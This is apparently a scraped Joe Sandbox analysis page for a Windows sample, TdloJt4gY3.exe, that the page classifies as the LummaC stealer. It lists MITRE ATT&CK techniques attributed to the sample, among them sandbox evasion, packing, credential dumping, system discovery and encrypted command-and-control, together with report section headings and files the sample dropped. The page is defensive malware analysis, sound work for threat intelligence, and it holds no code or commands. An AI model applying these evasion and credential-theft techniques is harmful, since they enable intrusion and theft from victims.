Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TdloJt4gY3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Windows Analysis Report
TdloJt4gY3.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre